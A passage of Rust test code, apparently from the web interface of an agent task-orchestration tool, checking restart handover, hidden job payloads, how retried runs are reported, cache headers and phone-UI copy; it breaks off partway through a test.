22809    fn idle_ui(home: &TempDir) -> Ui {
22810        let runs = home.path().join("runs");
22811        std::fs::create_dir_all(&runs).expect("runs dir");
22812        Ui::new(
22813            Queue::at(home.path().join("queue")),
22814            Questions::at(home.path().join("questions")),
22815            Talks::at(home.path().join("talks")),
22816            runs,
22817            home.path().to_path_buf(),
22818            PathBuf::from("/repo/magi"),
22819        )
22820        .with_launch(launch_idle)
22821    }
22822
22823    #[tokio::test]
22824    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22825        let home = TempDir::new().expect("temp home");
22826        let ui = idle_ui(&home);
22827        let lease = crate::worker::try_lease(home.path(), "scheduler")
22828            .expect("scheduler lease")
22829            .expect("free");
22830        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22831            .expect("request stop");
22832        let error = ui
22833            .start_detached_loop()
22834            .await
22835            .expect_err("transition is still live");
22836        assert_eq!(error.status, StatusCode::CONFLICT);
22837        assert!(error.message.contains("still running or stopping"));
22838        assert_eq!(
22839            crate::worker::control(home.path(), "scheduler").unwrap(),
22840            Some(crate::worker::Control::Stop)
22841        );
22842        drop(lease);
22843    }
22844
22845    #[tokio::test]
22846    async fn handover_releases_listener_without_waiting_for_execution_leases() {
22847        let home = TempDir::new().expect("temp home");
22848        let ui = idle_ui(&home);
22849        let turns = ui
22850            .begin_talk_turn("active-chat")
22851            .expect("claim")
22852            .expect("free");
22853        let execution = crate::worker::try_lease(home.path(), "active-task")
22854            .expect("execution lease")
22855            .expect("free");
22856        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22857            .await
22858            .expect("bind loopback");
22859        let address = listener.local_addr().expect("address");
22860        let admissions = Arc::clone(&ui.admissions);
22861        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22862        let successor_started = std::sync::atomic::AtomicBool::new(false);
22863        tokio::time::timeout(
22864            Duration::from_secs(2),
22865            hand_over(home.path(), &admissions, served, || {
22866                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22867                Ok(1)
22868            }),
22869        )
22870        .await
22871        .expect("restart must not wait for execution")
22872        .expect("handover");
22873        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22874        // BSD may retain the address briefly after listener release. The real
22875        // successor uses the same bounded bind retry rather than a one-shot bind.
22876        let successor = bind_waiting(address)
22877            .await
22878            .expect("successor binds released address");
22879        assert_eq!(successor.local_addr().unwrap(), address);
22880        assert!(turns.owns(), "the chat lease survives restart");
22881        assert!(
22882            crate::worker::try_lease(home.path(), "active-task")
22883                .unwrap()
22884                .is_none()
22885        );
22886        drop(execution);
22887        drop(turns);
22888    }
22889
22890    #[tokio::test]
22891    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22892        let home = TempDir::new().expect("temp home");
22893        let ui = idle_ui(&home);
22894        let admission = ui.begin_admission().expect("admit send");
22895        let turn = ui
22896            .begin_talk_turn("active-chat")
22897            .expect("claim")
22898            .expect("free");
22899        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22900            .await
22901            .expect("bind loopback");
22902        let address = listener.local_addr().expect("address");
22903        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22904        let successor_called = std::sync::atomic::AtomicBool::new(false);
22905        let handover = hand_over(home.path(), &ui.admissions, served, || {
22906            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22907            Ok(1)
22908        });
22909        tokio::pin!(handover);
22910        // Poll exactly to the writer waiting on our admission guard. This
22911        // pins the race without sleeps or assumptions about task scheduling.
22912        std::future::poll_fn(|cx| {
22913            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22914            std::task::Poll::Ready(())
22915        })
22916        .await;
22917        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22918        assert!(
22919            ui.begin_admission().is_err(),
22920            "new ingress cannot race the drain"
22921        );
22922        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22923        drop(admission);
22924        tokio::time::timeout(Duration::from_secs(2), handover)
22925            .await
22926            .expect("only publication may delay restart")
22927            .expect("handover");
22928        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22929        assert!(
22930            turn.owns(),
22931            "the detached chat turn is not awaited or cancelled"
22932        );
22933        assert!(
22934            ui.begin_admission().is_err(),
22935            "old accepted connections stay closed"
22936        );
22937        drop(turn);
22938    }
22939
22940    #[test]
22941    fn health_worker_metadata_never_contains_payload_or_result() {
22942        let view = WorkerView::from(crate::worker::Job {
22943            id: "job".into(),
22944            sequence: 1,
22945            kind: "service".into(),
22946            key: "maintenance".into(),
22947            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22948            generation: "generation".into(),
22949            version: Some("1.2.3".into()),
22950            status: crate::worker::Status::Running,
22951            result: Some("private diagnostics".into()),
22952            pid: Some(4242),
22953            created_at: 1,
22954            finished_at: None,
22955        });
22956        let value = serde_json::to_value(view).expect("serialize public metadata");
22957        assert_eq!(value["version"], "1.2.3");
22958        assert_eq!(value["pid"], 4242);
22959        assert!(value.get("payload").is_none());
22960        assert!(value.get("result").is_none());
22961        assert!(!value.to_string().contains("private"));
22962    }
22963
22964    #[test]
22965    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22966        let home = TempDir::new().expect("temp home");
22967        let ui = idle_ui(&home);
22968        std::fs::write(
22969            home.path().join("daemon.json"),
22970            serde_json::json!({
22971                "schema": 2, "pid": 4242, "worker_protocol": 1,
22972                "updated_at": Timestamp::now().to_string(), "idle": true,
22973            })
22974            .to_string(),
22975        )
22976        .expect("status");
22977        let reading = daemon::read_status(home.path());
22978        assert!(Foreign::of(reading.as_ref()).is_none());
22979        let view = ui.runtime_loop_view(reading, &[]);
22980        assert!(view.running);
22981        assert!(view.owned);
22982    }
22983
22984    #[test]
22985    fn only_an_explicit_one_requests_a_resume() {
22986        assert!(!resume_requested(None));
22987        assert!(!resume_requested(Some("0".into())));
22988        assert!(!resume_requested(Some("".into())));
22989        assert!(resume_requested(Some("1".into())));
22990    }
22991
22992    #[test]
22993    fn an_error_is_visible_from_where_the_button_is() {
22994        // The alert used to sit in the flow under the header. On a phone
22995        // scrolled 13 500 px down to a run's action sheet that is off screen,
22996        // so tapping Resume and being told "the loop is running run b455
22997        // right now" looked exactly like a button that did nothing.
22998        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22999            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23000        assert!(
23001            alert.contains("position: fixed"),
23002            "an error about the thing under your thumb has to be visible from \
23003             where your thumb is: {alert}"
23004        );
23005        assert!(
23006            alert.contains("z-index: 25"),
23007            "above the dock (20) and the run-actions FAB (15), so neither \
23008             buries it: {alert}"
23009        );
23010        assert!(
23011            alert.contains("var(--tap)"),
23012            "and clear of the dock and the home indicator: {alert}"
23013        );
23014        // The FAB sits at the same height on the right. An error that covered
23015        // it would hide the button the operator reaches for next.
23016        assert!(
23017            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23018            "the FAB's column stays free: {alert}"
23019        );
23020    }
23021
23022    #[tokio::test]
23023    async fn an_older_attempt_says_what_replaced_it() {
23024        let fx = Fixture::start().await;
23025        let q = fx.queue();
23026        let runs = fx.runs();
23027        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23028        write_run(&runs, first, RunStatus::Stalled);
23029        write_run(&runs, second, RunStatus::Blocked);
23030
23031        let mut t = Task::new(
23032            "one task".to_owned(),
23033            "do it".to_owned(),
23034            PathBuf::from("/repo"),
23035            Source::Human,
23036        );
23037        t.runs = vec![first.to_owned(), second.to_owned()];
23038        q.put(&mut t).expect("put");
23039
23040        // Two cards with the same title and no hint which is which was the
23041        // question: "why are there two of the same, one stalled and one
23042        // blocked?" The older one now names its replacement.
23043        let rows = fx.get("/api/runs").await.json();
23044        let by = |short: &str| -> Value {
23045            rows.as_array()
23046                .unwrap()
23047                .iter()
23048                .find(|r| r["short"] == short)
23049                .cloned()
23050                .unwrap_or(Value::Null)
23051        };
23052        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23053        assert!(
23054            by("bbbb")["superseded_by"].is_null(),
23055            "the latest attempt is not superseded by anything"
23056        );
23057        // Front end: the note has to be rendered, not just carried.
23058        assert!(APP_JS.contains("run.superseded_by"));
23059        assert!(APP_JS.contains("Superseded by"));
23060    }
23061
23062    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23063        let mut t = Task::new(
23064            "one task".to_owned(),
23065            "do it".to_owned(),
23066            PathBuf::from("/repo"),
23067            Source::Human,
23068        );
23069        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23070        t.status = status;
23071        t
23072    }
23073
23074    #[test]
23075    fn source_link_picks_the_page_that_filed_the_task() {
23076        let agent = |node: &str| Source::Agent {
23077            run: "20260904-014455-ab12".to_owned(),
23078            node: node.to_owned(),
23079        };
23080        let chat = source_link(&agent("chat")).expect("chat link");
23081        assert_eq!(chat.kind, "chat");
23082        assert_eq!(chat.id, "20260904-014455-ab12");
23083        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23084        let run = source_link(&agent("implement")).expect("run link");
23085        assert_eq!(
23086            (run.kind, run.href.as_str()),
23087            ("run", "#/runs/20260904-014455-ab12")
23088        );
23089        assert_eq!(source_link(&Source::Human), None);
23090        assert_eq!(
23091            source_link(&Source::Issue {
23092                number: 3,
23093                repo: "o/r".to_owned()
23094            }),
23095            None
23096        );
23097        let odd = source_link(&Source::Agent {
23098            run: "a b/c".to_owned(),
23099            node: "chat".to_owned(),
23100        })
23101        .expect("link");
23102        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23103    }
23104
23105    #[test]
23106    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23107        assert!(
23108            !APP_JS.contains("src.node === \"chat\""),
23109            "inline href rule is back"
23110        );
23111        assert!(
23112            APP_JS.matches("sourceLinkOf(").count() >= 4,
23113            "helper must serve every page"
23114        );
23115        assert!(
23116            APP_JS.matches("openChatLink(").count() >= 3,
23117            "the run page still needs its explicit chat link"
23118        );
23119        assert!(
23120            !APP_JS.contains("const openChat = el("),
23121            "the Queue card duplicates its source label link again"
23122        );
23123        assert!(
23124            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23125            "the task page must link a chat source label too"
23126        );
23127    }
23128
23129    #[test]
23130    fn task_ref_carries_the_source_link_for_a_chat_task() {
23131        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23132        t.source = Source::Agent {
23133            run: "20260904-014455-ab12".to_owned(),
23134            node: "chat".to_owned(),
23135        };
23136        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23137        let v = serde_json::to_value(&out).expect("json");
23138        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23139        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23140        assert_eq!(v["source_label"], t.source.label());
23141
23142        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23143        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23144            .expect("json");
23145        assert!(v["source_link"].is_null(), "{v}");
23146    }
23147
23148    #[test]
23149    fn task_view_serializes_source_link() {
23150        let mut t = Task::new(
23151            "t".to_owned(),
23152            "t".to_owned(),
23153            PathBuf::from("/repo"),
23154            Source::Agent {
23155                run: "20260901-000000-aaaa".to_owned(),
23156                node: "implement".to_owned(),
23157            },
23158        );
23159        t.runs.clear();
23160        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23161        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23162        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23163    }
23164
23165    #[test]
23166    fn task_view_serializes_urgent_flag() {
23167        let mut t = Task::new(
23168            "t".to_owned(),
23169            "t".to_owned(),
23170            PathBuf::from("/repo"),
23171            Source::Human,
23172        );
23173        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23174        assert_eq!(v["urgent"], false, "{v}");
23175        t.urgent = true;
23176        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23177        assert_eq!(v["urgent"], true, "{v}");
23178        assert!(APP_JS.contains("task.urgent === true"));
23179    }
23180
23181    #[tokio::test]
23182    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23183        let fx = Fixture::start().await;
23184        let runs = fx.runs();
23185        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23186        write_run(&runs, old, RunStatus::Blocked);
23187        write_run(&runs, new, RunStatus::Merged);
23188        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23189        fx.queue().put(&mut t).expect("put");
23190
23191        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23192        let task = &view["task"];
23193        assert_eq!(task["status"], "done");
23194        assert_eq!(task["is_latest"], false);
23195        assert_eq!(task["latest"]["short"], "bbbb");
23196        assert_eq!(task["finished_by"]["id"], new);
23197        assert_eq!(task["finished_by"]["outcome"], "merged");
23198        assert_eq!(task["closed_by_hand"], false);
23199        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23200        assert!(APP_JS.contains("finished_by"));
23201        assert!(APP_JS.contains("superseded by run"));
23202    }
23203
23204    #[tokio::test]
23205    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23206        let fx = Fixture::start().await;
23207        let runs = fx.runs();
23208        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23209        write_run(&runs, old, RunStatus::Stalled);
23210        write_run(&runs, new, RunStatus::Blocked);
23211        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23212        fx.queue().put(&mut t).expect("put");
23213
23214        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23215        assert_eq!(task["status"], "held");
23216        assert_eq!(task["is_latest"], true);
23217        assert!(task["latest"].is_null());
23218        assert!(task["finished_by"].is_null());
23219        assert_eq!(task["closed_by_hand"], false);
23220    }
23221
23222    #[tokio::test]
23223    async fn a_direct_run_has_no_task_outcome() {
23224        let fx = Fixture::start().await;
23225        let runs = fx.runs();
23226        let id = "20260901-000000-aaaa";
23227        write_run(&runs, id, RunStatus::Blocked);
23228        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23229        assert!(view["task"].is_null());
23230    }
23231
23232    #[test]
23233    fn task_outcome_does_not_guess_a_finishing_run() {
23234        let a = "20260901-000000-aaaa";
23235        let b = "20260901-000000-bbbb";
23236        let c = "20260901-000000-cccc";
23237        let dir = tempfile::tempdir().expect("tempdir");
23238        write_run(dir.path(), a, RunStatus::Blocked);
23239        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23240        // `c` has no record: unreadable.
23241        let read = |id: &str| read_run(dir.path(), id).ok();
23242        // Neither a blocked run nor a no-op finished the task; the newest run is
23243        // unreadable and still named.
23244        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23245        let out = task_outcome(&t, a, 3, read);
23246        assert!(out.finished_by.is_none());
23247        assert!(out.closed_by_hand);
23248        let latest = out.latest.expect("latest");
23249        assert_eq!(latest.id, c);
23250        assert_eq!(latest.status, None);
23251        assert_eq!(latest.outcome, "record unreadable");
23252
23253        // A Ready run settles the task as done, so it is named as the finisher.
23254        write_run(dir.path(), c, RunStatus::Ready);
23255        let t = outcome_task(&[a, c], TaskStatus::Done);
23256        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23257        assert_eq!(out.finished_by.expect("finisher").id, c);
23258        assert!(!out.closed_by_hand);
23259
23260        // A resumed run id repeats: it is still the latest by id.
23261        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23262        assert!(task_outcome(&t, a, 3, read).is_latest);
23263    }
23264
23265    #[tokio::test]
23266    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23267        // The list route has known this since the card fix above; the detail
23268        // route — what an operator actually opens from a notification about
23269        // a blocked run — did not, and went on showing a bare red BLOCKED
23270        // chip for a run a retry had already finished.
23271        let fx = Fixture::start().await;
23272        let q = fx.queue();
23273        let runs = fx.runs();
23274        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23275        write_run(&runs, first, RunStatus::Blocked);
23276        write_run(&runs, second, RunStatus::Merged);
23277
23278        let mut t = Task::new(
23279            "one task".to_owned(),
23280            "do it".to_owned(),
23281            PathBuf::from("/repo"),
23282            Source::Human,
23283        );
23284        t.runs = vec![first.to_owned(), second.to_owned()];
23285        q.put(&mut t).expect("put");
23286
23287        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23288        assert_eq!(earlier["superseded_by"], "dddd");
23289        assert_eq!(earlier["latest_attempt"]["id"], second);
23290        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23291        assert_eq!(
23292            earlier["latest_attempt"]["resolved"], true,
23293            "the run that replaced it landed, so this one reads as settled"
23294        );
23295
23296        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23297        assert!(
23298            later["superseded_by"].is_null(),
23299            "the latest attempt is not superseded by anything"
23300        );
23301        assert!(
23302            later["latest_attempt"].is_null(),
23303            "the latest attempt has no later attempt of its own"
23304        );
23305
23306        // Front end: the detail page has to read the field this route now
23307        // carries, downgrade the chip, and link to the run that replaced it —
23308        // not just repeat the list card's own logic under a different name.
23309        // The link is built off `latest_attempt.id`, the server-resolved
23310        // full id, never a bare short string a client would have to guess a
23311        // full run from.
23312        assert!(APP_JS.contains("run.latest_attempt"));
23313        assert!(APP_JS.contains("data-superseded"));
23314        assert!(APP_JS.contains("#/runs/${latest.id}"));
23315    }
23316
23317    #[tokio::test]
23318    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23319        // A -> B -> C, all Blocked except the last. A's immediate successor
23320        // (superseded_by) is B, which is itself unresolved; what an operator
23321        // opening A's page actually needs is where the task's story stands
23322        // *now* - C, not B - without depending on whether C happens to be in
23323        // whatever page of /api/runs the client last cached.
23324        let fx = Fixture::start().await;
23325        let q = fx.queue();
23326        let runs = fx.runs();
23327        let (a, b, c) = (
23328            "20260901-000000-aaaa",
23329            "20260901-000000-bbbb",
23330            "20260901-000000-cccc",
23331        );
23332        write_run(&runs, a, RunStatus::Blocked);
23333        write_run(&runs, b, RunStatus::Blocked);
23334        write_run(&runs, c, RunStatus::Merged);
23335
23336        let mut t = Task::new(
23337            "retried twice".to_owned(),
23338            "do it".to_owned(),
23339            PathBuf::from("/repo"),
23340            Source::Human,
23341        );
23342        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23343        q.put(&mut t).expect("put");
23344
23345        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23346        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23347        assert_eq!(
23348            view["latest_attempt"]["id"], c,
23349            "the chain's current head, not the intermediate Blocked retry"
23350        );
23351        assert_eq!(view["latest_attempt"]["resolved"], true);
23352
23353        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23354        assert_eq!(mid["latest_attempt"]["id"], c);
23355        assert_eq!(mid["latest_attempt"]["resolved"], true);
23356    }
23357
23358    #[tokio::test]
23359    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23360        let fx = Fixture::start().await;
23361        let q = fx.queue();
23362        let runs = fx.runs();
23363
23364        // Still Blocked: the task is not resolved, so the older run must not
23365        // read as settled either.
23366        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23367        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23368        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23369        let mut t1 = Task::new(
23370            "still stuck".to_owned(),
23371            "do it".to_owned(),
23372            PathBuf::from("/repo"),
23373            Source::Human,
23374        );
23375        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23376        q.put(&mut t1).expect("put");
23377        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23378        assert_eq!(view1["latest_attempt"]["resolved"], false);
23379        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23380        assert_eq!(view1["latest_attempt"]["done"], true);
23381
23382        // Still running: the successor exists and must be reported as such.
23383        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23384        write_run(&runs, run_a, RunStatus::Blocked);
23385        write_run(&runs, run_b, RunStatus::Implementing);
23386        let mut t3 = Task::new(
23387            "retrying".to_owned(),
23388            "do it".to_owned(),
23389            PathBuf::from("/repo"),
23390            Source::Human,
23391        );
23392        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23393        q.put(&mut t3).expect("put");
23394        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23395        assert_eq!(view3["latest_attempt"]["id"], run_b);
23396        assert_eq!(view3["latest_attempt"]["resolved"], false);
23397        assert_eq!(view3["latest_attempt"]["done"], false);
23398
23399        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23400        // to check - not a confirmed finish, so this must not read as
23401        // resolved either, even though the run is done in the sense that
23402        // nothing is still running.
23403        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23404        write_run(&runs, noop_a, RunStatus::Blocked);
23405        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23406        let mut t2 = Task::new(
23407            "claims done".to_owned(),
23408            "do it".to_owned(),
23409            PathBuf::from("/repo"),
23410            Source::Human,
23411        );
23412        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23413        q.put(&mut t2).expect("put");
23414        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23415        assert_eq!(
23416            view2["latest_attempt"]["resolved"], false,
23417            "an unverified no-op claim must not read as a confirmed finish"
23418        );
23419
23420        // Front end: an unresolved successor must not carry the "finished
23421        // this work" note or the muted chip treatment.
23422        assert!(APP_JS.contains("latest.resolved"));
23423        // ...but the link to it shows as soon as it exists, labelled by state
23424        // and without the "finished" wording or the muted chip.
23425        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23426        assert!(APP_JS.contains("Latest attempt: "));
23427        assert!(APP_JS.contains("in flight"));
23428        assert!(APP_JS.contains("not resolved"));
23429    }
23430
23431    #[tokio::test]
23432    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23433        let fx = Fixture::start().await;
23434        // No cache header at all meant browsers invented their own policy,
23435        // and one did: a phone went on showing "Candidates must be folded
23436        // before deleting. Run `magi fold` first." - deleted two releases
23437        // earlier - from a deck that no longer contained the sentence. The
23438        // button it named was right there, and unreachable.
23439        let js = fx.get("/app.js").await;
23440        assert_eq!(js.status, 200);
23441        let tag = js
23442            .header("etag")
23443            .expect("an etag to revalidate against")
23444            .to_owned();
23445        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23446        assert_eq!(
23447            js.header("cache-control"),
23448            Some("no-cache, must-revalidate"),
23449            "the phone has to ask every time"
23450        );
23451
23452        // And the asking has to be cheap, or `must-revalidate` just means
23453        // "send the whole interface on every load".
23454        let again = fx
23455            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23456            .await;
23457        assert_eq!(
23458            again.status, 304,
23459            "a deck it already has costs one round trip"
23460        );
23461        assert!(again.body.is_empty(), "304 carries no body");
23462
23463        // A weakened tag from a proxy still matches; a different build does
23464        // not, which is the case that has to deliver the new interface.
23465        let weak = fx
23466            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23467            .await;
23468        assert_eq!(weak.status, 304);
23469        let stale = fx
23470            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23471            .await;
23472        assert_eq!(stale.status, 200, "an older build must be replaced");
23473        assert!(stale.body.contains("renderRunActions"));
23474    }
23475
23476    #[test]
23477    fn the_task_detail_has_an_actions_fab_and_sheet() {
23478        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23479        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23480        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23481        // Shown only on the task route, closed everywhere else.
23482        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23483        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23484        // Refreshed whenever the detail redraws, including the loading state.
23485        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23486        assert!(APP_JS.contains("renderTaskActions(null);"));
23487        // Same renderers and routes as the Queue card, no new endpoint.
23488        let sheet = APP_JS
23489            .find("function renderTaskActions")
23490            .expect("sheet renderer");
23491        let body = &APP_JS[sheet..sheet + 3000];
23492        assert!(body.contains("changePriority("));
23493        assert!(body.contains("openTaskEdit(task)"));
23494        assert!(body.contains("renderTaskHoldBox(host"));
23495        assert!(body.contains("renderTaskDoneBox(host"));
23496        assert!(body.contains("renderTaskDeleteBox(host"));
23497        assert!(APP_JS.contains("API.priority(id)"));
23498        assert!(APP_JS.contains("API.deleteTask(id)"));
23499        // A deleted task sends the operator back to the queue.
23500        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23501        // A refusal is shown inside the sheet.
23502        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23503    }
23504
23505    #[test]
23506    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23507        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23508        let actions = INDEX_HTML
23509            .find("id=\"run-actions-box\"")
23510            .expect("actions box");
23511        assert!(task < actions, "the task entry comes first in the sheet");
23512        assert!(APP_JS.contains("renderRunTaskEntry"));
23513        assert!(APP_JS.contains("\"Open task \""));
23514        // A run without a task says why there is nothing to open.
23515        assert!(APP_JS.contains("started directly, no task"));
23516        assert!(APP_JS.contains("sheet-task-link"));
23517        assert!(APP_JS.contains("task-chip-link"));
23518    }
23519
23520    #[test]
23521    fn the_deck_never_sends_the_operator_to_a_terminal() {
23522        // The whole point of the phone UI is that a terminal is not needed.
23523        // The delete control used to answer with "Run `magi fold` first."
23524        assert!(
23525            !APP_JS.contains("Run `magi fold` first"),
23526            "the deck must offer the fold, not prescribe a shell command"
23527        );
23528        assert!(APP_JS.contains("foldRun:"));
23529        assert!(APP_JS.contains("resumeRun:"));
23530        assert!(APP_JS.contains("renderRunActions"));
23531
23532        // Folding is destructive and armed in two steps, like deleting.
23533        assert!(APP_JS.contains("armedFold"));
23534        assert!(APP_JS.contains("Yes, fold worktrees"));
23535
23536        // And the copy has to say that the two actions are opposites, because
23537        // folding throws away exactly what a resume would continue from.
23538        assert!(APP_JS.contains("can no longer be resumed"));
23539    }
23540
23541    #[test]
23542    fn a_finished_run_explains_itself_with_its_own_last_line() {
23543        // The deck used to answer "why did this stop?" with a sentence chosen
23544        // by status alone. Run e633 stalled because two judges answered with
23545        // the wrong JSON shape and its card said "The panel collapsed on
23546        // agent quota" - with `quota: []` in the record and a quota-loss
23547        // counter right above it that correctly said nothing.
23548        assert!(
23549            !APP_JS.contains("collapsed on agent quota"),
23550            "a stall must not be explained by a cause the deck did not check"
23551        );
23552        assert!(
23553            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23554            "and a block must not offer a guess with an `or` in it"
23555        );
23556
23557        // The reason it does have is `run.event`, which must reach finished
23558        // runs: gating it on movement hid the recorded truth at the one moment
23559        // the operator is reading the card to find out what happened.
23560        assert!(
23561            APP_JS.contains("setText(r.event, run.event || \"\")"),
23562            "the run's last line is rendered unconditionally"
23563        );
23564        assert!(
23565            !APP_JS.contains("moving && run.event"),
23566            "and never gated on the run still moving"
23567        );
23568
23569        // Quota keeps its own counter, fed by the number actually recorded.
23570        assert!(APP_JS.contains("lost to quota"));
23571    }
23572
23573    /// The runs tree (section) and the state chips (waiting/done) are two
23574    /// independent lenses ANDed together in `renderRuns`, and some pairings
23575    /// can never both be true for any run - every "Landed"/"Ended" run is
23576    /// done by construction, so pairing either with "Active" or "In flight"
23577    /// always rendered zero cards with the filter bar still claiming
23578    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23579    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23580    /// a handful of (waiting, status) shapes standing in for the run
23581    /// lifecycle, because `cargo test` cannot execute the front end.
23582    ///
23583    /// That stand-in list is itself the part that drifted twice in review:
23584    /// once shipped with `waiting: true` paired with a done status the
23585    /// lifecycle cannot produce, then over-corrected into treating every
23586    /// waiting run as never done - which made "Waiting on you" look
23587    /// incompatible with "Done" even for the one real, reachable shape
23588    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23589    /// that combination. This test parses the shapes and the done-rule back
23590    /// out of `APP_JS`, reimplements `runSection` and the five state
23591    /// predicates independently in Rust, and checks the resulting
23592    /// section/filter compatibility table against the lifecycle rules by
23593    /// hand - so either direction of drift fails it again.
23594    #[test]
23595    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23596        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23597        let shapes_body_start =
23598            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23599        let shapes_close = APP_JS[shapes_body_start..]
23600            .find("].map(")
23601            .expect("the shape list is closed by its done-computing .map(...)")
23602            + shapes_body_start;
23603        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23604
23605        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23606        for entry in shapes_src.split('{').skip(1) {
23607            let waiting = entry.contains("waiting: true");
23608            let dead = entry.contains("live: \"dead\"");
23609            let status_at =
23610                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23611            let status_end = entry[status_at..]
23612                .find('"')
23613                .expect("the status string is closed")
23614                + status_at;
23615            let parked = entry.contains("display_status: \"parked\"");
23616            shapes.push((
23617                waiting,
23618                entry[status_at..status_end].to_string(),
23619                dead,
23620                parked,
23621            ));
23622        }
23623        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23624
